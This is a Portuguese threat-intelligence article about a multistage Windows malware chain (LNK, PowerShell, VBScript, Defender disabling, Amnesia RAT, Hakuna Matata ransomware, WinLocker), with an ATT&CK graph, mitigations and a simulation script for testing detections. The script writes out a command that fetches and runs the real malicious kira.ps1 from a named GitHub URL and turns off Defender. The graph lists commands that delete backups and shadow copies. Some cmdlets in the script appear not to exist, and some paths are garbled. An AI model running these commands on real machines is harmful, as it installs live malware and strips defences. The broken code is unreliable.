SOC Prime Bias: Alto

04 Fev 2026 17:20

Dentro de uma Operação de Malware Multiestágio no Windows

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Dentro de uma Operação de Malware Multiestágio no Windows
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O FortiGuard Labs identificou uma cadeia de intrusão em múltiplos estágios no Windows que começa com um arquivo LNK malicioso entregue dentro de um arquivo compactado. O atalho lança um carregador inicial do PowerShell que puxa scripts subsequentes do GitHub e depois passa o controle para um orquestrador de VBScript ofuscado. O fluxo de trabalho então tenta enfraquecer as defesas do endpoint desabilitando o Microsoft Defender, implantando a utilidade Defendnot e preparando tanto o Amnesia RAT como o ransomware Hakuna Matata. A operação é concluída com a entrega de um componente WinLocker que bloqueia a área de trabalho para interromper a recuperação e pressionar as vítimas.

Investigação

Investigadores reconstruíram o caminho de execução desde a etapa do PowerShell desencadeada pelo LNK até um VBScript que recompõe as cargas úteis na memória, culminando no lançamento do ransomware e no comportamento de bloqueio da área de trabalho. As medidas defensivas foram contornadas por meio de edições direcionadas no registro e pela injeção de um DLL Defendnot no Taskmgr.exe. A persistência foi implementada usando uma combinação de entradas de chave Run e artefatos na pasta de inicialização para reativar a cadeia após o login.

Mitigação

Monitore alterações suspeitas de políticas no nível do registro em HKLMSOFTWAREPoliciesMicrosoftWindows Defender e HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies. Bloqueie o egress para URLs maliciosos conhecidos do GitHub e Dropbox usados para preparação, e alerte sobre padrões de download e execução do PowerShell que se originam de lançamentos de LNK. Imponha a listagem de permissões de aplicações e aperte os controles de execução do PowerShell para reduzir o acesso inicial baseado em scripts.

Resposta

Se detectado, isole o endpoint, restaure as configurações do registro relacionadas ao Defender para um estado conhecido e bom, e remova arquivos maliciosos e entradas de persistência. Procure por processos ativos do Amnesia RAT e atividade de rede associada, e valide se a execução do ransomware ocorreu. Realize uma triagem forense completa para determinar o impacto e erradicar remanescentes, depois recupere sistemas de backups limpos quando viável.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff6666 %% Node definitions step_a[“<b>Ação</b> – <b>T1566.001 Phishing: Anexo</b><br/>Arquivo LNK ‘Задание_для_бухгалтера_02отдела.txt.lnk’ dentro de um arquivo compactado”] class step_a action step_b[“<b>Ação</b> – <b>T1059.001 PowerShell</b><br/>O arquivo LNK inicia o PowerShell com -ExecutionPolicy Bypass para baixar o script ‘kira.ps1′”] class step_b action step_c[“<b>Ação</b> – <b>T1027 Arquivos ou Informações Ofuscados</b><br/>VBScript ‘SCRRC4ryuk.vbe’ codificado com Script Encoder Plus, Base64 e RC4”] class step_c action step_d[“<b>Ação</b> – <b>T1562.001 Prejudicar Defesas</b><br/>PowerShell desativa o monitoramento em tempo real do Microsoft Defender e adiciona exclusões amplas do sistema de arquivos”] class step_d action step_e[“<b>Ação</b> – <b>T1218.010 Execução Proxy via Regsvr32</b><br/>DLL Defendnot e carregador implantados e injetados no processo confiável Taskmgr.exe”] class step_e action step_f[“<b>Ação</b> – <b>T1548.002 Bypass de UAC</b><br/>Uso de loop ShellExecute runas para obter privilégios elevados”] class step_f action step_g[“<b>Ação</b> – <b>T1547.001 Chaves Run do Registro / Pasta de Inicialização</b><br/>Cria entrada HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run e copia ‘svchost.scr’ para %PROGRAMDATA% e para a pasta Inicialização do usuário”] class step_g action step_h[“<b>Ação</b> – <b>T1082 Descoberta de Informações do Sistema</b><br/>Coleta informações de SO, hardware, domínio e IP via WMI”] class step_h action step_i[“<b>Ação</b> – <b>T1057 Descoberta de Processos</b><br/>Enumera processos em execução para evitar execução duplicada”] class step_i action step_j[“<b>Ação</b> – <b>T1113 Captura de Tela</b><br/>’TelegramWorker.scr’ captura telas (1.png–30.png) e envia via Telegram”] class step_j action step_k[“<b>Ação</b> – <b>T1555 Credenciais de Armazenamentos de Senhas</b><br/>Extrai senhas e cookies de navegadores Chromium usando DPAPI”] class step_k action step_l[“<b>Ação</b> – <b>T1539 Roubo de Cookies de Sessão Web</b><br/>Coleta cookies e tokens dos navegadores”] class step_l action step_m[“<b>Ação</b> – <b>T1550.004 Uso de Material de Autenticação Alternativo</b><br/>Sequestra arquivos de sessão do Telegram Desktop a partir de ‘tdata'”] class step_m action step_n[“<b>Ação</b> – <b>T1102.002 Serviço Web</b><br/>Envia dados coletados e capturas de tela ao atacante via API de bot do Telegram”] class step_n action step_o[“<b>Malware</b> – <b>T1486 Dados Criptografados para Impacto</b><br/>O ransomware Hakuna Matata ‘WmiPrvSE.scr’ criptografa arquivos com a extensão @NeverMind12F”] class step_o malware step_p[“<b>Ação</b> – <b>T1490 Inibir Recuperação do Sistema</b><br/>Executa ‘reagentc /disable’, ‘wbadmin delete catalog’, ‘vssadmin delete shadows /all'”] class step_p action step_q[“<b>Malware</b> – <b>T1499 Negação de Serviço no Endpoint</b><br/>WinLocker ‘gedion.scr’ cria o mutex WINLOCK… e bloqueia a área de trabalho”] class step_q malware %% Connections step_a –>|leva_a| step_b step_b –>|leva_a| step_c step_c –>|leva_a| step_d step_d –>|leva_a| step_e step_e –>|leva_a| step_f step_f –>|leva_a| step_g step_g –>|leva_a| step_h step_h –>|leva_a| step_i step_i –>|leva_a| step_j step_j –>|leva_a| step_k step_k –>|leva_a| step_l step_l –>|leva_a| step_m step_m –>|leva_a| step_n step_n –>|leva_a| step_o step_o –>|leva_a| step_p step_p –>|leva_a| step_q

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria e Linha de Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

  • Narrativa do Ataque e Comandos:
    Um adversário que obteve acesso inicial ao endpoint deseja baixar e executar uma carga maliciosa do PowerShell enquanto evita a política de execução padrão. Eles usam Invoke‑Expression (iex) combinado com Invoke‑WebRequest (irm) para puxar um script de uma URL remota bruta do GitHub, executando-o sob -ExecutionPolicy Bypass. Após estabelecer persistência, eles desativam o monitoramento em tempo real do Windows Defender para evitar a detecção de cargas subsequentes. Essas etapas geram diretamente as strings de linha de comando que a regra Sigma observa.

  • Script de Teste de Regressão:

    # --------------------------------------------------------------
    # Passo 1 – Execute o script remoto com Bypass de ExecutionPolicy
    # --------------------------------------------------------------
    $maliciousUrl = "https://github.com/Mafin111/MafinREP111/raw/refs/heads/main/ps1/kira.ps1"
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm '$maliciousUrl' | iex"
    
    # --------------------------------------------------------------
    # Passo 2 – Desative o monitoramento em tempo real do Windows Defender
    # --------------------------------------------------------------
    # Desative a proteção em tempo real
    Disable-MpPreference -DisableRealtimeMonitoring $true
    # Adicione um caminho de exclusão (simulado)
    Add-MpPreference -ExclusionPath "C:TempExcludeFolder"
  • Comandos de Limpeza:

    # Reative o monitoramento em tempo real do Windows Defender
    Enable-MpPreference -DisableRealtimeMonitoring $false
    
    # Remova o caminho de exclusão (se existir)
    Remove-MpPreference -ExclusionPath "C:TempExcludeFolder" -ErrorAction SilentlyContinue
    
    # Pare quaisquer processos do PowerShell remanescentes iniciados pelo script
    Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'kira.ps1'} | Stop-Process -Force